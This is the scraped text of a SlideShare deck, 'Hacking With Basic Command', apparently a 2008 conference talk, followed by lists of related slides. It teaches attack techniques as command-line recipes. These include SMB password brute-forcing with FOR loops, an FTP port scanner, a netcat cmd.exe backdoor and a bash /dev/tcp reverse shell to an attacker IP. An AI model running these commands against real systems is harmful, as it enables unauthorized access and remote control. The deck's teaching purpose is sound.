SlideShare una empresa de Scribd logo
1 de 28
Descargar para leer sin conexión
Hacking With Basic Command


             Presented :
            Dedi Dwianto
        [theday@echo.or.id]
Contents
•   Scenario
•   Windows Command-Line Hacking
•   Netcat
•   Linux Commnad-Line Hacking
•   Q&A
Scenario
                        Firewall

                                         Network
                                          Target

       Internet




Attacker




                  WWW              DNS    e-rdc .org 2008
Windows Command
•   Finding Others Machines
•   SMB Sessions
•   FOR Loops
•   Password Guessing
•   Port Scanner
•   File Transfer
Finding other machines
• C:>ipconfig /displaydns

• C:>arp –a
Setting up smb sessions
• Set up session with a target

           C:> net use [targetIP] [password] /u:[user]

• Mount a Share on a target :
     C:> net use [targetIP][sharename] [password] /u:[user]
Dropping smb sessions
• Windows only accept one username at a time only
• Drop SMB Session
          C:> net use [TargetIP] /del

• Drop All SMB Session

               C:> net use * /del
FOR Loops
• Common Option for Hacking
• FOR /L : Loop through a range of numbers
• FOR /F: Loop through items in a text file
FOR /L Loops
• FOR /L loops are counters :
      c:> for /L %i in ([start],[step],[stop]) do [command]
• Simple Counter
  c:> for /L %i in (1,1,255) do echo %i
FOR /L Loops
• Run Multiple Command
  [command1] & [command2]

   c:> for /L %i in (1,1,10) do echo %i & ping –n 5 127.0.0.1


• Run Command1 and Run Command2 if Command1 run without
  error
  [command1] && [command2]
   C:> for /L %i in (1,1,10) do echo %ii && ping –n 5 127.0.0.1
FOR /L Loops : Handling Output
• Redirect to nul : > null

     c:> for /L %i in (1,1,10) do echo %i & ping –n 5 127.0.0.1 > nul

•   Redirect to file : >filename

     C:> for /L %i in (1,1,10) do echo %i && ping –n 5 127.0.0.1 > result.txt

•   Output find string : | find “[string name]”
•   Redirect Error Message : [command] 2>null or [command] 2>>file
Simple Sweep Ping

C:> for /L %i in (1,1,10) do echo %i & ping –n 5 192.168.114.%i | find “Reply”
FOR /F Loops
• Loop through text



• etc can be :
   – FORcontents
     The /F ["options"] %parameter IN (“etc") DO command
   – String
   – Command
Password Guessing with FOR /F
 •   Password Guessing via SMB
 •   You know Username
 •   Password list from John the Ripper’s password.lst



C:>for /F %i in (password.lst) do @echo %i & @net use [targetIP] %i /u:[Username]
    2>nul && pause && echo [Username] :%i >> done.txt
Username & Password
                         Guessing
 •
 •
                       withpassword list/F
                               FOR
    Guees each password for each username
    We need 2 file username &
 • 2 variable %u and %p for username & password
 • Use net use for try SMB session
 • Drop SMB if success Login

C:>for /F %u in (user.txt) do @(for /F %p in (password.txt) do @echo %u : %p &
   @net use [targetIP] %p /u:%u 2>nul && echo %u : %p >> done.txt &&
   net use [targetIP] /del)
Windows Port Scanner With FTP Client
• Windows FTP Client C:> ftp [IpAddress]
• Using –s option FTP for ready from file : c:>ftp –s:[filename]
• We’ll write a loop that generate FTP command file and invoke FTP
  to run from that command
• Store the result


   for/L %i in (1,1,1024) do echo Checking Port %i: >> ports.txt
   & echo open [IPAddress] %i > ftp.txt & echo quit >> ftp.txt
   & ftp -s:ftp.txt 2>>ports.txt
Windows Command Line File Transfer
• Use Windows File & Printer Sharing
• Redirect to Share folder :

     C:>type [filename] > [IPtarget][share][filename]

• Login to SMB Session take from Password Guessing

   C:> net use [IPTarget] [password] /u:[username]
Netcat
• TCP/UDP Network Widget
• Standard In and Send It across the network
• Receives data from network and put it to standard out




          Std In                                    Send Packets
                          NETCAT
        Std Out                                    Receives Packets


                    Std Error

          SYSTEM                                 NETWORK
Netcat Functions
•   Send File
•   Port Scan
•   Backdoor Shell Access
•   Connect to Open Port
•   Simple Chats
•   Replay Data in TCP/UDP Packets
•   Etc …
Netcat : Windows Backdoor
        nc -l -p [port] -e “cmd.exe”
Linux Command Line
• /dev/tcp/    Hacking
• Open Connection to Other Machines
• Like Connect Back Shell
• /dev/tcp/[IPAddress]/[Port]
Backdooring via /dev/tcp
      /bin/bash -i > /dev/tcp/[IP Attacker]/[port] 0<&1 2>&1



                                             /bin/bash -i > /dev/tcp/[ip]/[port] 0<&1
 nc -l -p 80                                 2>&1
                            Firewall



                             Deny
                           Incoming
Type Command                                             Command Execute
THANK YOU

Más contenido relacionado

La actualidad más candente

Linux Commands - Cheat Sheet
Linux Commands - Cheat Sheet Linux Commands - Cheat Sheet
Linux Commands - Cheat Sheet Isham Rashik
 
101 3.2 process text streams using filters
101 3.2 process text streams using filters101 3.2 process text streams using filters
101 3.2 process text streams using filtersAcácio Oliveira
 
Unix fundamentals and_shell scripting
Unix fundamentals and_shell scriptingUnix fundamentals and_shell scripting
Unix fundamentals and_shell scriptingGanesh Bhosale
 
101 3.5 create, monitor and kill processes
101 3.5 create, monitor and kill processes101 3.5 create, monitor and kill processes
101 3.5 create, monitor and kill processesAcácio Oliveira
 
101 3.4 use streams, pipes and redirects
101 3.4 use streams, pipes and redirects101 3.4 use streams, pipes and redirects
101 3.4 use streams, pipes and redirectsAcácio Oliveira
 
Symfony 4.0 + - Track Technique eZ Roadshow 2019 - PARIS
Symfony 4.0 + - Track Technique eZ Roadshow 2019 - PARISSymfony 4.0 + - Track Technique eZ Roadshow 2019 - PARIS
Symfony 4.0 + - Track Technique eZ Roadshow 2019 - PARISeZ Systems
 
Bash shell scripting
Bash shell scriptingBash shell scripting
Bash shell scriptingVIKAS TIWARI
 
Introduction to Shell script
Introduction to Shell scriptIntroduction to Shell script
Introduction to Shell scriptBhavesh Padharia
 
Embedded Systems: Lecture 12: Introduction to Git & GitHub (Part 3)
Embedded Systems: Lecture 12: Introduction to Git & GitHub (Part 3)Embedded Systems: Lecture 12: Introduction to Git & GitHub (Part 3)
Embedded Systems: Lecture 12: Introduction to Git & GitHub (Part 3)Ahmed El-Arabawy
 
Exploring Async PHP (SF Live Berlin 2019)
Exploring Async PHP (SF Live Berlin 2019)Exploring Async PHP (SF Live Berlin 2019)
Exploring Async PHP (SF Live Berlin 2019)dantleech
 
Fundamental of Shell Programming
Fundamental of Shell ProgrammingFundamental of Shell Programming
Fundamental of Shell ProgrammingRahul Hada
 
Course 102: Lecture 12: Basic Text Handling
Course 102: Lecture 12: Basic Text Handling Course 102: Lecture 12: Basic Text Handling
Course 102: Lecture 12: Basic Text Handling Ahmed El-Arabawy
 
101 3.2 process text streams using filters
101 3.2 process text streams using filters101 3.2 process text streams using filters
101 3.2 process text streams using filtersAcácio Oliveira
 

La actualidad más candente (20)

Unix - Filters/Editors
Unix - Filters/EditorsUnix - Filters/Editors
Unix - Filters/Editors
 
Linux Commands - Cheat Sheet
Linux Commands - Cheat Sheet Linux Commands - Cheat Sheet
Linux Commands - Cheat Sheet
 
101 3.2 process text streams using filters
101 3.2 process text streams using filters101 3.2 process text streams using filters
101 3.2 process text streams using filters
 
Unix fundamentals and_shell scripting
Unix fundamentals and_shell scriptingUnix fundamentals and_shell scripting
Unix fundamentals and_shell scripting
 
101 3.5 create, monitor and kill processes
101 3.5 create, monitor and kill processes101 3.5 create, monitor and kill processes
101 3.5 create, monitor and kill processes
 
101 3.4 use streams, pipes and redirects
101 3.4 use streams, pipes and redirects101 3.4 use streams, pipes and redirects
101 3.4 use streams, pipes and redirects
 
Symfony 4.0 + - Track Technique eZ Roadshow 2019 - PARIS
Symfony 4.0 + - Track Technique eZ Roadshow 2019 - PARISSymfony 4.0 + - Track Technique eZ Roadshow 2019 - PARIS
Symfony 4.0 + - Track Technique eZ Roadshow 2019 - PARIS
 
Hosts
HostsHosts
Hosts
 
Bash shell scripting
Bash shell scriptingBash shell scripting
Bash shell scripting
 
Hosts
HostsHosts
Hosts
 
Introduction to Shell script
Introduction to Shell scriptIntroduction to Shell script
Introduction to Shell script
 
Embedded Systems: Lecture 12: Introduction to Git & GitHub (Part 3)
Embedded Systems: Lecture 12: Introduction to Git & GitHub (Part 3)Embedded Systems: Lecture 12: Introduction to Git & GitHub (Part 3)
Embedded Systems: Lecture 12: Introduction to Git & GitHub (Part 3)
 
Exploring Async PHP (SF Live Berlin 2019)
Exploring Async PHP (SF Live Berlin 2019)Exploring Async PHP (SF Live Berlin 2019)
Exploring Async PHP (SF Live Berlin 2019)
 
Fundamental of Shell Programming
Fundamental of Shell ProgrammingFundamental of Shell Programming
Fundamental of Shell Programming
 
Hosts
HostsHosts
Hosts
 
Hosts
HostsHosts
Hosts
 
Course 102: Lecture 12: Basic Text Handling
Course 102: Lecture 12: Basic Text Handling Course 102: Lecture 12: Basic Text Handling
Course 102: Lecture 12: Basic Text Handling
 
Hosts yes
Hosts yesHosts yes
Hosts yes
 
Linux CLI
Linux CLILinux CLI
Linux CLI
 
101 3.2 process text streams using filters
101 3.2 process text streams using filters101 3.2 process text streams using filters
101 3.2 process text streams using filters
 

Destacado

Muhammad Abrar Istiadi - “How to hack #IDSECCONF2016 ctf online challenge"
Muhammad Abrar Istiadi - “How to hack #IDSECCONF2016 ctf online challenge"Muhammad Abrar Istiadi - “How to hack #IDSECCONF2016 ctf online challenge"
Muhammad Abrar Istiadi - “How to hack #IDSECCONF2016 ctf online challenge"idsecconf
 
Bca 2nd sem-u-3-basic computer programming and micro programmed control
Bca 2nd sem-u-3-basic computer programming and micro programmed controlBca 2nd sem-u-3-basic computer programming and micro programmed control
Bca 2nd sem-u-3-basic computer programming and micro programmed controlRai University
 
Android Bluetooth Hacking Java Day2010 Eng
Android Bluetooth Hacking Java Day2010 EngAndroid Bluetooth Hacking Java Day2010 Eng
Android Bluetooth Hacking Java Day2010 EngEmanuele Di Saverio
 
B.Noviansyah - National Public Key Infrastructure: Friend or Foe?
B.Noviansyah - National Public Key Infrastructure: Friend or Foe?B.Noviansyah - National Public Key Infrastructure: Friend or Foe?
B.Noviansyah - National Public Key Infrastructure: Friend or Foe?idsecconf
 
Introduction to Social Engineering
Introduction to Social EngineeringIntroduction to Social Engineering
Introduction to Social EngineeringMuhammad Ridwan
 
Ubuntu server guide.2008
Ubuntu server guide.2008Ubuntu server guide.2008
Ubuntu server guide.2008ddnswat
 
Laporan Installasi ubuntu server
Laporan Installasi ubuntu serverLaporan Installasi ubuntu server
Laporan Installasi ubuntu serverAlda Abad
 
2013 12. Administrasi Server Linux Ubuntu
2013 12. Administrasi Server Linux Ubuntu2013 12. Administrasi Server Linux Ubuntu
2013 12. Administrasi Server Linux UbuntuSyiroy Uddin
 
Keynote - Jim Geovedi - professional-hackers
Keynote - Jim Geovedi - professional-hackersKeynote - Jim Geovedi - professional-hackers
Keynote - Jim Geovedi - professional-hackersidsecconf
 
Hacking a Bird in the Sky: Hijacking VSAT Connection
Hacking a Bird in the Sky: Hijacking VSAT ConnectionHacking a Bird in the Sky: Hijacking VSAT Connection
Hacking a Bird in the Sky: Hijacking VSAT ConnectionJim Geovedi
 
Ubuntu server-904 membuat-server_dengan_ubuntu
Ubuntu server-904 membuat-server_dengan_ubuntuUbuntu server-904 membuat-server_dengan_ubuntu
Ubuntu server-904 membuat-server_dengan_ubuntuRaden Ozan
 
Ukk 2016 administrasi server ubuntu 14.04 lts - sahrul gunawan
Ukk 2016   administrasi server ubuntu 14.04 lts - sahrul gunawanUkk 2016   administrasi server ubuntu 14.04 lts - sahrul gunawan
Ukk 2016 administrasi server ubuntu 14.04 lts - sahrul gunawanSyiroy Uddin
 
Danang Jaya, Query Adika Rezylana - “Steganografi DCT dengan Memanfaatkan Apl...
Danang Jaya, Query Adika Rezylana - “Steganografi DCT dengan Memanfaatkan Apl...Danang Jaya, Query Adika Rezylana - “Steganografi DCT dengan Memanfaatkan Apl...
Danang Jaya, Query Adika Rezylana - “Steganografi DCT dengan Memanfaatkan Apl...idsecconf
 
FOSS and Linux
FOSS and LinuxFOSS and Linux
FOSS and Linuxvargy
 
Agung Nugraha - “Layanan Certification Authority (CA), Document Signing and V...
Agung Nugraha - “Layanan Certification Authority (CA), Document Signing and V...Agung Nugraha - “Layanan Certification Authority (CA), Document Signing and V...
Agung Nugraha - “Layanan Certification Authority (CA), Document Signing and V...idsecconf
 
Linux in cloud (Indonesian)
Linux in cloud (Indonesian)Linux in cloud (Indonesian)
Linux in cloud (Indonesian)Anjar Hardiena
 
Modul Pelatihan Linux Fundamental
Modul Pelatihan Linux FundamentalModul Pelatihan Linux Fundamental
Modul Pelatihan Linux FundamentalAnjar Hardiena
 

Destacado (20)

Muhammad Abrar Istiadi - “How to hack #IDSECCONF2016 ctf online challenge"
Muhammad Abrar Istiadi - “How to hack #IDSECCONF2016 ctf online challenge"Muhammad Abrar Istiadi - “How to hack #IDSECCONF2016 ctf online challenge"
Muhammad Abrar Istiadi - “How to hack #IDSECCONF2016 ctf online challenge"
 
Bca 2nd sem-u-3-basic computer programming and micro programmed control
Bca 2nd sem-u-3-basic computer programming and micro programmed controlBca 2nd sem-u-3-basic computer programming and micro programmed control
Bca 2nd sem-u-3-basic computer programming and micro programmed control
 
Android Bluetooth Hacking Java Day2010 Eng
Android Bluetooth Hacking Java Day2010 EngAndroid Bluetooth Hacking Java Day2010 Eng
Android Bluetooth Hacking Java Day2010 Eng
 
B.Noviansyah - National Public Key Infrastructure: Friend or Foe?
B.Noviansyah - National Public Key Infrastructure: Friend or Foe?B.Noviansyah - National Public Key Infrastructure: Friend or Foe?
B.Noviansyah - National Public Key Infrastructure: Friend or Foe?
 
Introduction to Social Engineering
Introduction to Social EngineeringIntroduction to Social Engineering
Introduction to Social Engineering
 
Lecture 22
Lecture 22Lecture 22
Lecture 22
 
Ubuntu server guide.2008
Ubuntu server guide.2008Ubuntu server guide.2008
Ubuntu server guide.2008
 
Laporan Installasi ubuntu server
Laporan Installasi ubuntu serverLaporan Installasi ubuntu server
Laporan Installasi ubuntu server
 
2013 12. Administrasi Server Linux Ubuntu
2013 12. Administrasi Server Linux Ubuntu2013 12. Administrasi Server Linux Ubuntu
2013 12. Administrasi Server Linux Ubuntu
 
Keynote - Jim Geovedi - professional-hackers
Keynote - Jim Geovedi - professional-hackersKeynote - Jim Geovedi - professional-hackers
Keynote - Jim Geovedi - professional-hackers
 
Hacking a Bird in the Sky: Hijacking VSAT Connection
Hacking a Bird in the Sky: Hijacking VSAT ConnectionHacking a Bird in the Sky: Hijacking VSAT Connection
Hacking a Bird in the Sky: Hijacking VSAT Connection
 
Ubuntu server-904 membuat-server_dengan_ubuntu
Ubuntu server-904 membuat-server_dengan_ubuntuUbuntu server-904 membuat-server_dengan_ubuntu
Ubuntu server-904 membuat-server_dengan_ubuntu
 
Ukk 2016 administrasi server ubuntu 14.04 lts - sahrul gunawan
Ukk 2016   administrasi server ubuntu 14.04 lts - sahrul gunawanUkk 2016   administrasi server ubuntu 14.04 lts - sahrul gunawan
Ukk 2016 administrasi server ubuntu 14.04 lts - sahrul gunawan
 
Bluetooth Hacking
Bluetooth HackingBluetooth Hacking
Bluetooth Hacking
 
Danang Jaya, Query Adika Rezylana - “Steganografi DCT dengan Memanfaatkan Apl...
Danang Jaya, Query Adika Rezylana - “Steganografi DCT dengan Memanfaatkan Apl...Danang Jaya, Query Adika Rezylana - “Steganografi DCT dengan Memanfaatkan Apl...
Danang Jaya, Query Adika Rezylana - “Steganografi DCT dengan Memanfaatkan Apl...
 
FOSS and Linux
FOSS and LinuxFOSS and Linux
FOSS and Linux
 
Agung Nugraha - “Layanan Certification Authority (CA), Document Signing and V...
Agung Nugraha - “Layanan Certification Authority (CA), Document Signing and V...Agung Nugraha - “Layanan Certification Authority (CA), Document Signing and V...
Agung Nugraha - “Layanan Certification Authority (CA), Document Signing and V...
 
Linux in cloud (Indonesian)
Linux in cloud (Indonesian)Linux in cloud (Indonesian)
Linux in cloud (Indonesian)
 
Modul Pelatihan Linux Fundamental
Modul Pelatihan Linux FundamentalModul Pelatihan Linux Fundamental
Modul Pelatihan Linux Fundamental
 
Linux Fundamental
Linux FundamentalLinux Fundamental
Linux Fundamental
 

Similar a theday, windows hacking with commandline

amrapali builders @@ hacking with basic command.pdf
amrapali builders @@ hacking with basic command.pdfamrapali builders @@ hacking with basic command.pdf
amrapali builders @@ hacking with basic command.pdfamrapalibuildersreviews
 
Debugging Network Issues
Debugging Network IssuesDebugging Network Issues
Debugging Network IssuesApcera
 
Batch programming and Viruses
Batch programming and VirusesBatch programming and Viruses
Batch programming and VirusesAkshay Saini
 
Ultimate Unix Meetup Presentation
Ultimate Unix Meetup PresentationUltimate Unix Meetup Presentation
Ultimate Unix Meetup PresentationJacobMenke1
 
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
[若渴計畫] Challenges and Solutions of Window Remote Shellcode[若渴計畫] Challenges and Solutions of Window Remote Shellcode
[若渴計畫] Challenges and Solutions of Window Remote ShellcodeAj MaChInE
 
Monitoring and Debugging your Live Applications
Monitoring and Debugging your Live ApplicationsMonitoring and Debugging your Live Applications
Monitoring and Debugging your Live ApplicationsRobert Coup
 
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
Hacking Highly Secured Enterprise Environments by Zoltan BalazsHacking Highly Secured Enterprise Environments by Zoltan Balazs
Hacking Highly Secured Enterprise Environments by Zoltan BalazsShakacon
 
Fun with exploits old and new
Fun with exploits old and newFun with exploits old and new
Fun with exploits old and newLarry Cashdollar
 
2014-11-26 | Creating a BitTorrent Client with Scala and Akka, Part 1 (Vienna...
2014-11-26 | Creating a BitTorrent Client with Scala and Akka, Part 1 (Vienna...2014-11-26 | Creating a BitTorrent Client with Scala and Akka, Part 1 (Vienna...
2014-11-26 | Creating a BitTorrent Client with Scala and Akka, Part 1 (Vienna...Dominik Gruber
 
Socially Acceptable Methods to Walk in the Front Door
Socially Acceptable Methods to Walk in the Front DoorSocially Acceptable Methods to Walk in the Front Door
Socially Acceptable Methods to Walk in the Front DoorMike Felch
 
BlackHat Hacking - Hacking VoIP.
BlackHat Hacking - Hacking VoIP.BlackHat Hacking - Hacking VoIP.
BlackHat Hacking - Hacking VoIP.Sumutiu Marius
 
8c21da14 1c9c-44ee-8e24-9a1ddd64ca82-150211062639-conversion-gate02
8c21da14 1c9c-44ee-8e24-9a1ddd64ca82-150211062639-conversion-gate028c21da14 1c9c-44ee-8e24-9a1ddd64ca82-150211062639-conversion-gate02
8c21da14 1c9c-44ee-8e24-9a1ddd64ca82-150211062639-conversion-gate02Anand Nandani
 
InSecure Remote Operations - NullCon 2023 by Yossi Sassi
InSecure Remote Operations - NullCon 2023 by Yossi SassiInSecure Remote Operations - NullCon 2023 by Yossi Sassi
InSecure Remote Operations - NullCon 2023 by Yossi SassiYossi Sassi
 

Similar a theday, windows hacking with commandline (20)

amrapali builders @@ hacking with basic command.pdf
amrapali builders @@ hacking with basic command.pdfamrapali builders @@ hacking with basic command.pdf
amrapali builders @@ hacking with basic command.pdf
 
Debugging Network Issues
Debugging Network IssuesDebugging Network Issues
Debugging Network Issues
 
Batch programming and Viruses
Batch programming and VirusesBatch programming and Viruses
Batch programming and Viruses
 
Penetration Testing Boot CAMP
Penetration Testing Boot CAMPPenetration Testing Boot CAMP
Penetration Testing Boot CAMP
 
Network programming
Network programmingNetwork programming
Network programming
 
Ultimate Unix Meetup Presentation
Ultimate Unix Meetup PresentationUltimate Unix Meetup Presentation
Ultimate Unix Meetup Presentation
 
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
[若渴計畫] Challenges and Solutions of Window Remote Shellcode[若渴計畫] Challenges and Solutions of Window Remote Shellcode
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
 
Monitoring and Debugging your Live Applications
Monitoring and Debugging your Live ApplicationsMonitoring and Debugging your Live Applications
Monitoring and Debugging your Live Applications
 
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
Hacking Highly Secured Enterprise Environments by Zoltan BalazsHacking Highly Secured Enterprise Environments by Zoltan Balazs
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
 
Unix_basics
Unix_basicsUnix_basics
Unix_basics
 
Fun with exploits old and new
Fun with exploits old and newFun with exploits old and new
Fun with exploits old and new
 
2014-11-26 | Creating a BitTorrent Client with Scala and Akka, Part 1 (Vienna...
2014-11-26 | Creating a BitTorrent Client with Scala and Akka, Part 1 (Vienna...2014-11-26 | Creating a BitTorrent Client with Scala and Akka, Part 1 (Vienna...
2014-11-26 | Creating a BitTorrent Client with Scala and Akka, Part 1 (Vienna...
 
Socially Acceptable Methods to Walk in the Front Door
Socially Acceptable Methods to Walk in the Front DoorSocially Acceptable Methods to Walk in the Front Door
Socially Acceptable Methods to Walk in the Front Door
 
BlackHat Hacking - Hacking VoIP.
BlackHat Hacking - Hacking VoIP.BlackHat Hacking - Hacking VoIP.
BlackHat Hacking - Hacking VoIP.
 
Chapter 3 footprinting
Chapter 3 footprintingChapter 3 footprinting
Chapter 3 footprinting
 
8c21da14 1c9c-44ee-8e24-9a1ddd64ca82-150211062639-conversion-gate02
8c21da14 1c9c-44ee-8e24-9a1ddd64ca82-150211062639-conversion-gate028c21da14 1c9c-44ee-8e24-9a1ddd64ca82-150211062639-conversion-gate02
8c21da14 1c9c-44ee-8e24-9a1ddd64ca82-150211062639-conversion-gate02
 
Netcat
NetcatNetcat
Netcat
 
InSecure Remote Operations - NullCon 2023 by Yossi Sassi
InSecure Remote Operations - NullCon 2023 by Yossi SassiInSecure Remote Operations - NullCon 2023 by Yossi Sassi
InSecure Remote Operations - NullCon 2023 by Yossi Sassi
 
3. introduction of centos
3. introduction of centos3. introduction of centos
3. introduction of centos
 
Linuxs1
Linuxs1Linuxs1
Linuxs1
 

Más de idsecconf

idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...
idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...
idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...idsecconf
 
idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...
idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...
idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...idsecconf
 
idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...
idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...
idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...idsecconf
 
idsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdf
idsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdfidsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdf
idsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdfidsecconf
 
idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...
idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...
idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...idsecconf
 
idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...
idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...
idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...idsecconf
 
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...idsecconf
 
Ali - The Journey-Hack Electron App Desktop (MacOS).pdf
Ali - The Journey-Hack Electron App Desktop (MacOS).pdfAli - The Journey-Hack Electron App Desktop (MacOS).pdf
Ali - The Journey-Hack Electron App Desktop (MacOS).pdfidsecconf
 
Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...
Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...
Muh. Fani Akbar - Infiltrate Into Your AWS Cloud Environment Through Public E...idsecconf
 
Rama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdf
Rama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdfRama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdf
Rama Tri Nanda - NFC Hacking Hacking NFC Reverse Power Supply Padlock.pdfidsecconf
 
Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...
Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...
Arief Karfianto - Proposed Security Model for Protecting Patients Data in Ele...idsecconf
 
Nosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdf
Nosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdfNosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdf
Nosa Shandy - Clickjacking That Worthy-Google Bug Hunting Story.pdfidsecconf
 
Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...
Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...
Baskoro Adi Pratomo - Evaluasi Perlindungan Privasi Pengguna pada Aplikasi-Ap...idsecconf
 
Utian Ayuba - Profiling The Cloud Crime.pdf
Utian Ayuba - Profiling The Cloud Crime.pdfUtian Ayuba - Profiling The Cloud Crime.pdf
Utian Ayuba - Profiling The Cloud Crime.pdfidsecconf
 
Proactive cyber defence through adversary emulation for improving your securi...
Proactive cyber defence through adversary emulation for improving your securi...Proactive cyber defence through adversary emulation for improving your securi...
Proactive cyber defence through adversary emulation for improving your securi...idsecconf
 
Perkembangan infrastruktur kunci publik di indonesia - Andika Triwidada
Perkembangan infrastruktur kunci publik di indonesia - Andika TriwidadaPerkembangan infrastruktur kunci publik di indonesia - Andika Triwidada
Perkembangan infrastruktur kunci publik di indonesia - Andika Triwidadaidsecconf
 
Pentesting react native application for fun and profit - Abdullah
Pentesting react native application for fun and profit - AbdullahPentesting react native application for fun and profit - Abdullah
Pentesting react native application for fun and profit - Abdullahidsecconf
 
Hacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabella
Hacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabellaHacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabella
Hacking oximeter untuk membantu pasien covid19 di indonesia - Ryan fabellaidsecconf
 
Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...
Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...
Vm escape: case study virtualbox bug hunting and exploitation - Muhammad Alif...idsecconf
 
Devsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi Dwianto
Devsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi DwiantoDevsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi Dwianto
Devsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi Dwiantoidsecconf
 

Más de idsecconf (20)

idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...
idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...
idsecconf2023 - Mochammad Riyan Firmansyah - Takeover Cloud Managed Router vi...
 
idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...
idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...
idsecconf2023 - Neil Armstrong - Leveraging IaC for Stealthy Infrastructure A...
 
idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...
idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...
idsecconf2023 - Mangatas Tondang, Wahyu Nuryanto - Penerapan Model Detection ...
 
idsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdf
idsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdfidsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdf
idsecconf2023 - Rama Tri Nanda - Hacking Smart Doorbell.pdf
 
idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...
idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...
idsecconf2023 - Akshantula Neha, Mohammad Febri Ramadlan - Cyber Harmony Auto...
 
idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...
idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...
idsecconf2023 - Aan Wahyu - Hide n seek with android app protections and beat...
 
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
idsecconf2023 - Satria Ady Pradana - Launch into the Stratus-phere Adversary ...
 
Ali - The Journey-Hack Electron App Desktop (MacOS).pdf
Ali - The Journey-Hack Electron App Desktop (MacOS).pdfAli - The Journey-Hack Electron App Desktop (MacOS).pdf
